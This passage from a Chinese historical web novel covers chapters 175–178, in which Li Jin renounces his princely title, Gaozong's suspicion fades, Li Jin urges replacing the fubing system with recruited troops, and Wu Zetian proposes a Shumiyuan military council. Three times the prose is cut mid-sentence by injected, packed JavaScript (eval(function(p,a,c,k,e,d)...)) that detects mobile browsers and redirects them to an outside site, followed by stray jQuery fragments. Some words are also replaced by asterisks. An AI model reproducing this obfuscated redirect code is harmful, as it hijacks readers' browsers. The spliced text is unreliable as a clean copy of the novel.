王爵,是枷锁,也是盾牌。如今枷锁已去,盾牌也抛开了。看似更危险,但也更灵活。他用一个几乎到手的、华而不实的王冠,换来了皇帝暂时彻底的安心,换来了朝野广泛的同情与赞誉,也为自己赢得了宝贵的时间和空间。
“接下来,”他望向窗外,长安的天空依旧高远,“该是抛出那块真正的‘砖’,看看能引出什么样的‘玉’了。”他想起另一份早已酝酿成熟、关于彻底改革兵制、设立枢密院总揽军权的奏疏草案。那才是他真正想推动的事情,也是他能为这个帝国,为自己和武后,乃至为病弱的皇帝,谋划的更长远布局。辞王爵,不过是扫清道路、降低阻力的第一步。
棋盘很大,棋子很多。他刚刚,又落下了关键一子,并且,成功地让大多数观棋者,以为他已打算离场。殊不知,真正的博弈,或许才刚刚开始。
第176章 帝疑暂消解
削去王爵、仍以梁国公留任的诏书,以最快的速度颁行天下。与此同时,李瑾“主动辞让王爵、唯留本爵”的事迹,经过官方邸报的有意渲染和市井民间的自发传播,迅速成为长安城乃至整个帝国最热门的话题。其引发的**反响,远比之前交出安西兵符更加热烈,也更加复杂。
崇仁坊的梁国公府(原郡王府)门前,比往日更加门庭若市。前来拜访的官员、故旧、乃至一些原本持观望甚至敌视态度的世家子弟,络绎不绝。他们的心态各异,有的真心钦佩,前来结交这位“**亮节”的年轻国公;有的则是试探,想看看这位“自贬”的功臣,到底是真心淡泊,还是以退为进,图谋更大;当然,也不乏幸灾乐祸、前来看看这位“失势”新贵热闹的。然而,李瑾的反应却让大多数**失所望,又或者,肃然起敬。
他闭门谢客,只让管家出面,对所有来访者一律婉言回绝,言辞恳切:“我家阿郎(唐代对年轻主人的尊称)深感陛下、皇后天恩,惶恐无地,自认功微赏重,有负圣望。如今辞去王爵,正该闭门思过,静心读书,以报君恩。实不敢当各位厚爱,还请见谅。”
一连数日,梁国公府大门紧闭,除了皇帝、皇后偶尔派来赏赐慰问的内侍,以及太医署前来请脉的医官,几乎不见外客。府内也异常安静,据说李瑾每日除了在书房读书、练字,便是去后园陪伴母亲,教导年幼的弟妹子侄,偶尔练习骑射,生活规律得如同一位真正的清闲勋贵。他甚至向太常寺告了假,以“染微恙,需静养”为由,连每日的例行点卯都免了。
这种近乎“自我流放”的姿态,配合他之前交兵符、辞王爵的举动,形成了一幅“功成身退、淡泊明志”的完美画面。原本对他“功高震主”的种种猜疑和非议,如同烈日下的冰雪,迅速消融。取而代之的,是朝野上下几乎一边倒的赞誉。
“梁国公真乃纯臣典范!不矜不伐,深明进退,古之张子房、范少伯,不过如此!”这是清流士大夫的评价,他们将李瑾与汉初功成身退的张良、春秋时弃官归隐的范蠡相提并论,认为其品行高洁,有古大臣之风。
“李公此举,实乃大智慧!急流勇退,保全自身,亦全了君臣之义。比那些恋栈权位、最终身败名裂的糊涂人,强过百倍!”这是官场中较为务实者的看法,他们从**智慧的角度,给予了高度评价。
“李将军真是好人啊!立了那么大的功劳,连王爷都不当,还是咱们老百姓的将军!”这是市井百姓朴素的感叹。在他们眼中,不要王爷大官的将军,才是好将军。李瑾的声望,在民间达到了一个近乎“神化”的高度,甚至开始有说书人将他“三箭定天山”、“单骑会论钦陵”、“圣山刻石”的事迹编成传奇,在酒楼茶肆传唱,其中自然少不了“拒封王爵、**亮节”的桥段。
就连一些原本对李瑾与武后关系密切而心怀不满的守旧派和老臣,此时也挑不出什么毛病。人家连皇帝封的王爵都不要了,你还能说他贪恋权势、勾结后宫吗?最多私下嘀咕一句“沽名钓誉”,却也拿不出任何证据,反而容易显得自己心胸狭隘。
这股汹涌的**浪潮,自然也以最快的速度,汇集到了大明宫,涌到了皇帝李治的耳边。
两仪殿侧殿,李治半倚在软榻上,听着内侍省派出的“察事”小宦官,低声汇报着宫外朝野对李瑾辞爵一事的种种反应。小宦官口齿伶俐,将市井传闻、官员私议、乃至坊间新编的“李公让王”小调,都绘声绘色地说了一遍,虽极力保持客观,但言辞间不自觉地带上了敬佩之意。
李治闭着眼睛,手指无意识地敲击着榻沿,脸上没什么表情。直到小宦官说完,躬身退到一旁,他才缓缓睁开眼,看向坐在一旁正在批阅奏章的武则天。
“媚娘,你都听到了?”李治的声音有些飘忽,“看来,朕的这位梁国公,是深得人心啊。”
武则天放下朱笔,抬起眼,微微一笑,笑容温和而端庄:“民心所向,亦是陛下圣德所感,朝廷教化之功。李瑾能如此谦退,不正是陛下平日教诲、朝廷纲纪森严所致吗?这说明,我大唐的臣子,是懂得忠义,知道进退的。这是好事。”
“好事?”李治意味不明地重复了一句,手指敲击的动作停了下来,“他越是得人心,朕这心里……”他没有说下去,但意思很明显。一个声望如此之高,又懂得“谦退”的能臣,有时候,比一个飞扬跋扈的功臣,更让君王感到复杂。
“陛下是担心,他声望太高,将来难以制衡?”武则天直接点破了李治的隐忧,语气却依然平静,“臣妾倒觉得,陛下多虑了。正因他声望高,又主动退让,陛下才更该示以恩宠,加以笼络。如今他兵权已交,王爵已辞,只剩下一个国公的虚名和一个清闲的太常寺卿职位,还能翻起什么浪来?陛下施恩,他便只能感恩,更会爱惜羽毛,谨言慎行。若陛下此时反而猜忌,冷了功臣之心,岂不让天下人非议陛下不能容人?寒了那些还想为陛下效力的忠臣良将之心?”
她顿了顿,见李治若有所思,继续道:“况且,李瑾此人,聪慧绝伦,岂能不知‘月满则亏’的道理?他越是声望高,就越会小心翼翼。陛下不见他这几日,闭门谢客,连太常寺都不去了吗?这便是明证。他这是在向陛下表明,他绝无结党营私、邀买人心之心,只想做个安分守己的闲散国公。陛下,此时正该大加抚慰,彰显天恩浩荡,君臣相得,岂不是一段千古佳话?”
李治沉默了。武则天的话,句句在理,既考虑了皇权的安全,又顾及了朝野的**,还给出了最符合当前利益的处理方式。是啊,李瑾已经交出了最核心的兵权,又放弃了最显赫的王爵,姿态低到了尘埃里。自己若再步步紧逼,倒显得刻薄寡恩,不能容人了。何况,李瑾确实有大才,西征之功也实打实地摆在那里,彻底弃之不用,也是帝国的损失。不如就顺着这个台阶下来,施以厚恩,既彰显自己胸怀,又能将他“圈”在长安,放在眼皮子底下,徐徐图之。
想到此处,李治心中那根紧绷的弦,似乎松动了些许。他想起李瑾在朝堂上痛哭流涕(他认为的)、恳切辞爵的模样,想起他年轻而恭顺的脸庞,想起他过往的忠诚和才干……或许,真的是自己病中多疑,风声鹤唳了?
“媚娘所言有理。”李治长长舒了口气,脸上露出一丝疲惫后的轻松,“是朕近来精力不济,思虑过多。李瑾……毕竟是立了大功的,又如此知进退。朕,不能寒了忠臣之心。”
“陛下圣明。”武则天微笑颔首,眼中闪过一丝不易察觉的光芒。她知道,李治的心结,至少暂时,是解开了大半。剩下的,就需要时间和持续不断的“忠诚表现”来慢慢消磨了。
“高延福。”李治唤道。
“老奴在。”
“去内库,挑几样上用的滋补药材,还有前日进贡的那对和田玉如意,再加……嗯,把朕案头那方洮河绿石砚也取来,一并赐给梁国公。传朕口谕:让他好生将养,不必急于到衙视事。朕知他忠谨,心中甚慰。待他身体大安,朕还要时常召他进宫,讲讲西域的风物。”
“是,陛下。老奴这就去办。”高延福躬身领命,匆匆退下。皇帝这赏赐,看似寻常,但特意加上自己常用的砚台,这亲近信重之意,可就非同一般了。
看着高延福离去,李治又对武则天道:“媚娘,你看,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018899|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是让弘儿也多去梁国公府走动走动?李瑾年轻,与弘儿年纪相仿,见识又广,让他多接触接触,对弘儿也是好事。”这是要进一步将李瑾与东宫绑定,既是施恩,也是无形的牵制。
武则天心中明了,点头赞同:“陛下思虑周详。弘儿是该多向有才学的年轻臣子请教。李瑾熟知军旅,通晓边事,又懂进退,正是合适的良师益友。臣妾稍后便吩咐弘儿。”
帝后二人又就其他几件政务商议片刻,武则天见李治面露倦色,便柔声劝他歇息,自己则继续处理堆积如山的奏章。李治靠在榻上,看着武则天专注批红的侧影,心中那份因李瑾而起的疑虑和不安,渐渐被一种复杂的依赖和疲惫所取代。有媚娘在,有李瑾这样“懂事”的能臣在,或许,自己真的可以稍微松一口气了。
就在皇帝赏赐送达梁国公府的同时,政事堂内,一场小范围的宰相会议刚刚结束。侍中许圉师、中书令许敬宗,以及刚刚被加授“同中书门下三品”入参政事堂的梁国公李瑾(虽然告假,但名衔仍在),还有几位副宰相,刚刚议定了几件关于吐蕃归附部族安置、西域商路维护的细节。
散会后,许敬宗特意落后几步,与许圉师并肩走出政事堂。望着宫门外明媚的春光,许敬宗抚着胡须,似是无意地感慨道:“许相,你看梁国公此番举动……真是令人感慨啊。老夫在朝数十年,所见功臣宿将不知凡几,能如他这般,年纪轻轻便看得如此透彻,舍得如此干脆的,实乃凤**麟角。”
许圉师性格较为持重,闻言捋了捋花白的胡须,沉吟道:“确是难得。不矜功,不恋权,知止知足。只是……未免太过谨慎了些。陛下仁厚,岂会亏待功臣?”
“谨慎好啊!”许敬宗意味深长地一笑,“懂得谨慎,方能长久。梁国公这是大智慧。倒是朝中某些人,怕是白费了一番心思。”他意有所指。显然,李崇义宴会上那出“窦宪”的戏码,以及背后可能存在的推手,并没有瞒过这些老狐狸的眼睛。
许圉师看了许敬宗一眼,没有接话,只是淡淡道:“无论如何,朝堂能少些波澜,总是好的。梁国公既然有心静养,我等也该让他清净些时日。”这话,既是表态,也隐含了提醒——至少短时间内,不要再有人去招惹李瑾。
“自然,自然。”许敬宗笑着点头。两人心照不宣,各自登上马车离去。
而此时的梁国公府书房内,李瑾正对着御赐的药材、玉如意,以及那方触手温润、色泽深沉的洮河绿石砚出神。御砚赐下,意义非同小可。他知道,自己以退为进的策略,初步奏效了。皇帝的疑虑,暂时被压了下去,甚至转为了更多的“补偿”心理和亲近之意。
他轻轻抚摸着冰凉的砚台,嘴角露出一丝淡淡的笑意。这笑意中,有尘埃落定的轻松,也有对未来的冷静筹谋。皇帝的信任如同琉璃,美丽而易碎。今日的消解,只是暂时的。要维持这份脆弱的平衡,甚至将其转化为更长久的倚重,他接下来要做的,不是继续“退让”,而是要抛出真正有建设性、能为帝国、也为皇帝解决实际难题的“砖”。
辞去王爵,交出虚名,是表明姿态,消除威胁。接下来,该是展现价值,巩固地位的时候了。那份关于改革兵制、设立枢密院的奏疏草案,在他脑海中再次清晰起来。那才是能真正触动皇帝心弦、也能让自己在新的权力格局中占据有利位置的关键。
“陛下,您的疑心,臣暂且为您解了。那么,接下来,该是臣为您,也为这大唐江山,献上另一份‘礼物’的时候了。”他低声自语,目光投向窗外,那里是巍峨皇城的方向。阳光正好,但宫廷深处的风云,从来不会真正停歇。
第177章 瑾议废府兵
御赐的洮河绿石砚静静地搁在梁国公府书房的紫檀大案上,在窗外透入的春光下,泛着幽深温润的光泽。李瑾的手指抚过砚台边缘冰凉光滑的曲线,目光却落在案头另一叠厚厚的文稿上。那是他用了近半月时间,结合此次西征的亲身观察、对大唐军制弊病的思考,以及翻阅大量兵部档案、前代史籍后,精心撰写的一份奏疏草案。其核心,直指大唐立国之本,亦是当前隐患重重的军事制度——府兵制。
这份草案,他反复斟酌,数易其稿,直到昨日方才最终定稿。其言辞之大胆,剖析之深刻,建议之具体,一旦呈上,必将在朝堂掀起比辞去王爵更大的波澜。但李瑾知道,他必须提。这不仅是为了帝国长远的强盛,更是为了在新的权力平衡中,为自己找到一个不可替代的、且能让皇帝安心的位置。
交出虎符,辞去王爵,是“破”,是消除威胁。而提出关乎帝国根基的军制改革良策,则是“立”,是展现价值。前者让皇帝暂时放心,后者则能让皇帝觉得,此人虽无兵权,但于国于君,仍有大用,且其思虑皆是为巩固皇权、强盛国家,并无私心。
时机已然成熟。皇帝疑虑暂消,恩赏方至,正是进言之时。
他唤来心腹老仆,低声吩咐:“备车,我要入宫,面圣陈情。”
半个时辰后,两仪殿。
李治的气色比前些日子好了不少,斜倚在坐榻上,背后垫着柔软的隐囊。李瑾的主动求见,似乎让他有些意外,又有些欣慰。至少,这位年轻能臣没有真的就此沉溺于“养病”,还是心系国事的。
“爱卿身体可大好了?朕赐下的药材,可还合用?”李治语气温和,带着长辈般的关切。
“劳陛下挂念,臣已无大碍。陛下所赐皆是珍品,臣感激涕零。”李瑾恭敬行礼,然后从袖中取出那卷奏疏,双手高举过头,“陛下,臣近日闭门思过,读书养性之余,反思此番西征所见所感,对国朝军制略有愚见,不揣冒昧,草拟成文,恳请陛下御览。”
“哦?”李治眉头微挑,示意高延福接过奏疏,“爱卿乃当世名将,于军旅之事必有高见。朕正欲听听。”他展开奏疏,起初神色还算平静,但越看,眉头蹙得越紧,脸色也渐渐凝重起来。
奏疏的标题就很直白——《请革府兵积弊,试行募兵以固国本疏》。
开篇并未直接否定府兵制,而是先赞颂太宗皇帝创立府兵制的伟业,称其“兵农合一,内省馈运,外捍疆圉,诚经国之良规,御边之长策”。然而笔锋一转,便以此次西征及近年来边防实践为据,条分缕析,痛陈府兵制如今已弊病丛生,难以为继:
“其一,均田崩坏,兵源枯竭。府兵之基,在于均田。今承平日久,户口滋殖,豪强兼并日炽,百姓失地**者众。授田不足,则府兵之家无以自存,更遑论自备鞍马器械,如期番上?关内、河东诸道,军府空虚,兵额常缺十之三四,甚者过半。此乃无源之水,无本之木。
其二,役重赏薄,士卒困疲。府兵战时为兵,平日为农,然番上宿卫、征戍行役,动辄经年,贻误农时,家室凋零。虽有勋赏,然克扣、拖延屡见不鲜。将士离乡背井,死生难料,而所得不足以赡养家小,致使怨声载道,逃亡日增。此番西征,臣亲见陇右诸军府兵,面有菜色,衣甲不全,临战多有惧色,非不勇也,实家室拖累,生计无着也。
其三,将不知兵,兵不识将。府兵轮番服役,将帅亦多更替。兵将之间,情谊不固,号令难行。平日训练废弛,阵法生疏。临敌之际,但以驱民赴死,全无章法。此于守土或可,若欲开疆拓土,克敌制胜,譬如缘木求鱼。
其四,尾大不掉,易生割据。军府星罗,散布天下,虽有利于制衡,然调度不灵,反应迟缓。边镇大将,久镇一方,兵将渐成私属,朝廷但有疑忌,则易生嫌隙。安史之乱,殷鉴不远。今吐蕃虽平,然北有突厥余孽,西有大食窥伺,南有南诏不宁,强藩悍将,不可不防。”
这四条,条条切中时弊,尤其是最后一条,提及“安史之乱”(虽然后事,但以李瑾穿越者的知识,作为假设性警示提出)和“强藩悍将”,更是直接戳中了李治内心深处对军权旁落、藩镇割据的最大隐忧。他握着奏疏的手,微微收紧。
接下来,李瑾提出了他的核心建议——逐步废除府兵制,全面推行募兵制。
“为今之计,当效汉武旧制,更法图强。请于关中、河东、河北等要冲之地,及沿边重镇,择地设立‘常备军镇’。兵员悉数招募,择天下骁勇健儿,不问出身,但取材力。厚其粮饷,优其抚恤,使其无家室之累,专精战守。分设步、骑、**、水诸军,严加操练,明定赏罚。士卒以从军为业,将领以治军为任,兵将相知,号令严明,则可成百战精锐。
“募兵之费,看似倍于府兵,然细算则省。府兵虽不费粮饷,然征发之际,贻误农时,影响税赋;且军府虚耗,器械朽坏,训练不修,空耗国帑而无实效。募兵专事征战,训练有素,一可当十,省却无数征发、转运之劳,长远计之,实为节费强国之策。
“至关紧要者,募兵之权,统于中央。军镇将领,由陛下钦点,定期轮换,不使久任。士卒粮饷,由朝廷度支统一拨付,不经将手。监察御史,常驻军中,纠劾不法。如此,则兵为国有,将无私兵,可绝藩镇割据之祸,永固陛下江山。”
奏疏的最后,李瑾还提出了一个过渡方案和配套措施:先在长安设立“神策军”为试点,从原北衙禁军及招募勇士中遴选精锐,完全按照募兵构想组建训练,直属皇帝。同时,在西北、东北边疆,选择几处战略要地,试点组建边防常备军。对于现有的府兵,不愿或无力继续服役者,可出钱赎买兵役,或转入地方团练、治安力量;愿意且合格者,可优先招募入新军。改革不求一蹴而就,以十年到二十年为期,逐步替换,以期平稳过渡。
洋洋洒洒近万言,数据详实,论证严密,既有对现状的尖锐批判,又有具体的改革路径,更有对皇权集中的着重强调。这不仅仅是一份军事改革建议,更是一份加强中央集权、巩固皇权的**蓝图。
李治看完,久久不语。殿内一片寂静,只有铜漏滴水的声音,嘀嗒,嘀嗒,清晰可闻。他的脸色变幻不定,时而凝重,时而恍然,时而又露出深深的忧虑。府兵制的弊病,他身为皇帝,岂能不知?近年来边镇军府空虚、士卒逃亡的奏报,时常摆上他的案头。但府兵制是祖制,是太宗皇帝定下的国策,牵一发而动全身。改革?谈何容易!这其中涉及多少利益纠葛,会触动多少人的奶酪,会引起多大的反对声浪?他几乎不敢深想。
但李瑾的奏疏,像一把锋利的手术刀,将他心中模糊的忧患清晰地解剖开来,又给出了一套看似可行、且直指问题核心的方案。尤其是最后关于“兵为国有,将无私兵”、“永绝藩镇割据”的论述,像一把重锤,狠狠敲打在他最敏感的心弦上。是啊,什么能比皇权的稳固更重要?如果募兵制真能实现军队的国家化、皇权化……
“此议……事关重大。”良久,李治才缓缓开口,声音有些沙哑。他将奏疏递给一旁侍立的武则天,“皇后也看看吧。”
武则天早已从李治的神色中猜到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018900|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奏疏内容非同小可,她接过来,仔细翻阅。她的阅读速度很快,但看得很仔细,尤其在那几条弊病分析和募兵集权的建议上,目光停留了许久。看完之后,她合上奏疏,并未立刻发表意见,而是看向李瑾,目光深邃:“梁国公此议,可谓石破天惊。府兵制乃国朝根本,施行百年,虽有积弊,然骤然言废,恐非易事。朝野上下,必然哗然。”
“皇后殿下明鉴。”李瑾拱手,神色坦然,“臣亦知此议骇俗。然,疾在腠理,汤熨之所及;在肌肤,针石之所及;在肠胃,火齐之所及。今府兵之弊,已入肠胃,非火齐猛药不能治也!若因循苟且,讳疾忌医,恐他日病入骨髓,虽有扁鹊,亦无能为力矣!届时,不仅边疆不守,恐内患亦生。臣非敢危言耸听,实是目睹切肤之痛,不忍见大厦将倾而缄默不言。且臣所议,并非旦夕全废,而是循序渐进,先立新军,后汰旧府,以十年为期,缓缓图之。先在要害之地试行,观其成效,再定行止。如此,虽不能立竿见影,然可保稳妥,不至天下震动。”
他顿了顿,语气愈发恳切:“陛下,皇后殿下,军国大事,关乎社稷存亡。臣一得之愚,或不足取。然,臣一片丹心,可昭日月。但求陛下、皇后广开言路,召集群臣,博采众议。若诸公以为可行,则是我大唐之福;若以为不可,则弃之如敝屣,臣绝无怨言,只求问心无愧。”
这番话,既表明了态度的坚决,又留下了充分回旋的余地,将最终决策权完全交还给了皇帝和朝廷。
李治和武则天对视一眼,都从对方眼中看到了震惊、深思,以及一丝跃跃欲试的光芒。李治是担忧改革的风险和阻力,但更被“永固皇权”的前景吸引;武则天则想得更深更远,她看到的不仅是军事改革,更是借此机会,打破旧有利益格局,加强中央权威,甚至……为她未来可能的更进一步,扫清某些障碍的可能。
“此事……确需从长计议。”李治最终缓缓道,手指轻轻敲击着奏疏,“爱卿拳拳为国之心,朕已知之。这份奏疏,先留中。朕要好好想想,也要听听诸公的意见。不过,”他看向李瑾,语气郑重,“爱卿能不顾个人得失,不畏世俗谤议,直言军国大计,此等公忠体国之心,朕心甚慰。你且先回去,此事,朕自有主张。”
“臣,遵旨。谢陛下、皇后殿下。”李瑾知道,种子已经种下。以李治的性格和目前的身体状况,他或许会犹豫,会权衡,但这份奏疏提出的问题太过尖锐,给出的方案又极具诱惑力(尤其对皇权而言),必然会在皇帝心中生根发芽。而武则天,这位极具**魄力和远见的皇后,绝不会放过这样一个既能强国、又能集权的机会。
他需要的,只是耐心等待,并在合适的时机,再添一把火。
果然,数日之后,一份经过武则天授意、由北门学士精心润色、以更委婉但更具说服力方式阐述募兵制必要性(尤其强调对皇权的巩固)的版本,以“朝臣建言”的形式,出现在了政事堂的议事日程上。与此同时,李瑾那份原版奏疏的主要内容,也在皇帝“无意”的透露下,在极少数核心重臣中小范围流传开来。
一场关于帝**事制度未来命运,也将深刻影响朝局走向的巨大辩论风暴,正在看似平静的长安朝堂之下,悄然酝酿。而始作俑者李瑾,则再次回到了他“闭门读书、静心养病”的状态,仿佛那封石破天惊的奏疏,与他毫无关系。只有他那双深邃的眼眸,偶尔望向兵部衙门的方向时,才会闪过一丝难以察觉的锐利光芒。
风暴将至,而他,已立于看似最安全的避风处,静观其变。
第178章 枢密院初立
李瑾那份关于改革府兵、推行募兵的奏疏,如同投入深潭的巨石,在看似平静的朝堂之下,激起了汹涌的暗流。初始的惊涛骇浪过后,暗流并未平息,反而在皇权的有意引导和不同利益集团的激烈碰撞中,酝酿着一场更深层次的制度变革。
两仪殿的灯火,常常亮至深夜。李治斜靠在榻上,面前摊开的,除了李瑾那份原版奏疏,还有政事堂汇总上来的、经过北门学士润色后的“朝臣建言”版本,以及几位心腹重臣(如许敬宗、李勣等)私下呈递的密奏。武则天坐在一旁,手中也拿着一卷文书,是她的北门学士们搜集整理的历代兵制沿革与利弊分析。
“募兵……募兵……”李治喃喃自语,手指无意识地敲打着奏疏上“兵为国有,将无私兵,永绝藩镇割据之祸”那几行字,眼神中交织着渴望与犹疑,“道理是好的,若能成,实为子孙万世之利。只是,牵涉太广,阻力太大。那些世家,那些军功贵族,那些靠府兵制维系的地方势力……岂能甘心?”
武则天放下手中的卷宗,声音平静而清晰:“陛下所虑极是。改革兵制,无异于动摇国本,触动无数人的命脉。然,正因其难,才更显其必要。府兵颓坏,非止边患,实乃心腹之疾。此次吐蕃之战,幸赖李瑾力挽狂澜,又兼吐蕃内乱,方得大胜。然,军中府兵疲敝、号令不专、将兵不和之弊,已暴露无遗。若他日强敌再临,未必再有此侥幸。”
她顿了顿,见李治凝神倾听,继续道:“李瑾所议募兵,其利有三:一可练精兵,强国防;二可集兵权,固皇权;三可省民力,安百姓。其弊亦有,首在钱粮。然,陛下请看,”她指向北门学士整理的文书,“若以关内、河东、陇右等要害之地先行试点,汰弱留强,以汰换之府兵所省田亩、免去之庸调,折算钱粮,加之朝廷近年府库渐丰,以盐铁茶税补贴,并非全无可能。至于阻力……”
武则天眼中闪过一丝锐利的光芒:“陛下,任**政,皆有阻力。昔年太宗行科举,破门阀,阻力岂小?然其利在千秋。今陛下承贞观遗烈,国力日盛,正宜革故鼎新,奠万世之基。且陛下可知,反对最烈者,会是何人?”
“何人?”李治下意识问道。
“必是那些依靠府兵制,世代垄断军职、把持地方、荫庇佃户、逃避赋税的世家豪强,以及军府之中那些吃空饷、役兵如奴的蠹虫!”武则天语气转冷,“彼等所虑,非为国家,实为一己私利。陛下若行募兵,兵员公开招募,将领朝廷选派,粮饷度支直拨,监察御史入驻……彼等世代盘踞之利,将荡然无存!此乃剜其腐肉,彼等岂能不嚎叫反抗?”
李治悚然一惊。他身为皇帝,自然知道府兵制与世家大族盘根错节的关系,但经武则天如此直白地指出反对者的核心利益所在,他立刻明白了这场改革背后的权力博弈本质——这不仅是军事改革,更是皇权与旧有既得利益集团之间的一次正面较量。
“然则……若彼等联合反对,汹汹舆情,如之奈何?”李治仍有顾虑,他的身体时好时坏,经不起太大的**风浪。
“所以,不能急,不能全盘皆动。”武则天显然早已深思熟虑,“李瑾奏疏中也提到,可循序渐进,先立新军,后汰旧府。臣妾以为,当分两步走。第一步,不在全盘废府兵,而在……另立一个全新的、直属于陛下的军权总揽之枢。”
“军权总揽之枢?”李治若有所思。
“正是。”武则天取过一张纸,上面是她与北门学士反复商议后草拟的纲要,“陛下可于禁中,设立一全新衙署,名曰……‘枢密院’。其职权,专掌军国机要、兵籍、兵符、军械、边备、戍卫、招募、将帅黜陟赏罚等一切军务。凡天下兵马调动,五品以上将官任命,边镇防务规划,皆需经枢密院议定,呈陛下御批,方可施行。兵部仍掌武官铨选、地图、车马、甲械之政令,然具体军机调度、将帅任免之权,尽归枢密院。如此,则军权自兵部、诸卫、边镇收归中枢,集中于陛下之手。”
这个构想,比李瑾的募兵建议更进了一步,也更直接地触及了核心——权力的集中。它绕开了“是否废除府兵制”这个暂时无解的巨大争议,直接从制度上将军队的最高指挥权和人事权,从分散的、可能被各方势力渗透的原有机构(兵部、十六卫、各都督府),收归到一个由皇帝直接控制的新机构。如此一来,无论将来军队是府兵还是募兵,其最终控制权,都牢牢掌握在皇帝手中。
李治的眼睛亮了起来。这个提议,完美地击中了他内心深处对军权旁落的担忧。设立一个直属于自己、总揽军机的“枢密院”,将军队的核心权力抓在手里,这比遥远而充满不确定性的全面募兵,似乎更直接,也更具可操作性。而且,设立新机构,虽然也会触动旧有利益,但相比于直接废除传承百年的府兵制,阻力似乎要小一些,至少,有斡旋和妥协的空间。
“枢密院……枢密院……”李治反复咀嚼着这个名字,越想越觉得精妙,“以枢密为名,掌军国机枢,妙!只是,这枢密院,以何人主事?其下又该如何设置?”
武则天见李治动心,心中一定,缓声道:“此乃要害。枢密院既为陛下直掌军机之要地,主事者必须对陛下绝对忠诚,且通晓军务,在朝中无深厚朋·党,以免尾大不掉。臣妾以为,初设之时,不宜置‘使’、‘相’等固定长官,可由陛下钦点一二心腹重臣,加以‘知枢密院事’或‘枢密使’等临时差遣,入值禁中,参赞军机。其下设都承旨、副承旨若干,佐理文书机要,人选可由陛下亲自简拔忠诚干练之中低级官员或内侍省可靠宦官充任。如此,枢密院上下皆仰陛下鼻息,军权自然归于宸衷。”
用临时差遣的心腹重臣主管,用皇帝亲信的中下级官员和宦官处理具体事务,确保这个新机构完全听命于皇帝个人,避免形成新的权力中心。这个设计,深谙制衡之道,也完全符合李治集权的渴望。
“心腹重臣……”李治沉吟着,目光在殿内扫过,最后定格在虚空某处。许敬宗?他是皇后的人,也忠心,但于军务并不精通。李勣?威望足够,军事才能无双,但年纪太大,且是军方宿将,与旧有军府系统牵连太深,用他主事,改革恐难推行。其他宰相,要么不通军事,要么背后关系复杂……
忽然,一个年轻、恭顺、刚刚交出兵权、又主动提出军制改革、且与任何世家大族都无甚瓜葛的身影,浮现在他脑海中。
“李瑾如何?”李治几乎脱口而出,随即又有些犹豫,“他刚刚自请辞去王爵,又交了兵符,再让他总揽军机……是否不妥?”
武则天心中微微一笑,面上却露出思索之色:“梁国公……确是最合适的人选之一。他精通军务,战功赫赫,在军中素有威望,且此番又首倡军制革新,见解深刻。更重要的是,他刚刚自辞王爵,以表忠心,朝野皆知他无恋栈之心,由他出面主持此事,既可示陛下用人不疑,又能以其在军中声望,减少推行阻力。况且,枢密院初设,事务繁杂,却并无直接调兵之权,只是参谋、审议、传达陛下旨意之机构。让他以‘同中书门下三品、梁国公’的身份,加‘知枢密院事’衔,专司军制改革筹划及新军筹建事宜,既可发挥其长,又不至于权柄过重。陛下可再选派一二稳重老臣,如英国公(李勣,加荣誉头衔以示尊崇但不实际负责),或刘仁轨等,同为知院事,互相参详,以示制衡。”
这个安排,可谓滴水不漏。既用了李瑾的才干和声望来推进改革,又用“知院事”这个临时性差遣和与其他重臣的“互相参详”来限制其权力,还强调了枢密院并无直接调兵权(调兵仍需皇帝批准),完全符合李治“既要用,又要防”的心理。
李治沉思良久,终于缓缓点头:“皇后思虑周全,此议甚善。便依此而行。先设枢密院,总揽军机,筹划募兵新军。至于全面废府兵……可从长计议,待新军有成,再缓缓图之。”他找到了一个既能加强皇权、又不至于立即引发剧烈震荡的突破口,心中一块大石落地,连日来的焦虑也舒缓了许多。
“陛下圣明。”武则天垂首道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018901|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴角勾起一抹几不可察的弧度。枢密院的设立,不仅能集中军权于皇帝(和她),还能借此打破旧有军事体系的藩篱,安插自己人,培养新的军事力量,为将来更彻底的改革,甚至为她自己更长远的布局,打下坚实的基础。而李瑾,这个聪敏的年轻人,再次被推到了前台,扮演了改革急先锋和权力平衡关键砝码的角色。他交出了安西的兵符,却即将在帝国的心脏,获得一个影响更深远的职位——虽然这个职位,依然在皇帝(和她的)牢牢掌控之中。
数日后,一道经过精心措辞的诏书,从大明宫发出,宣告了帝**事指挥体系的一次重大变革:
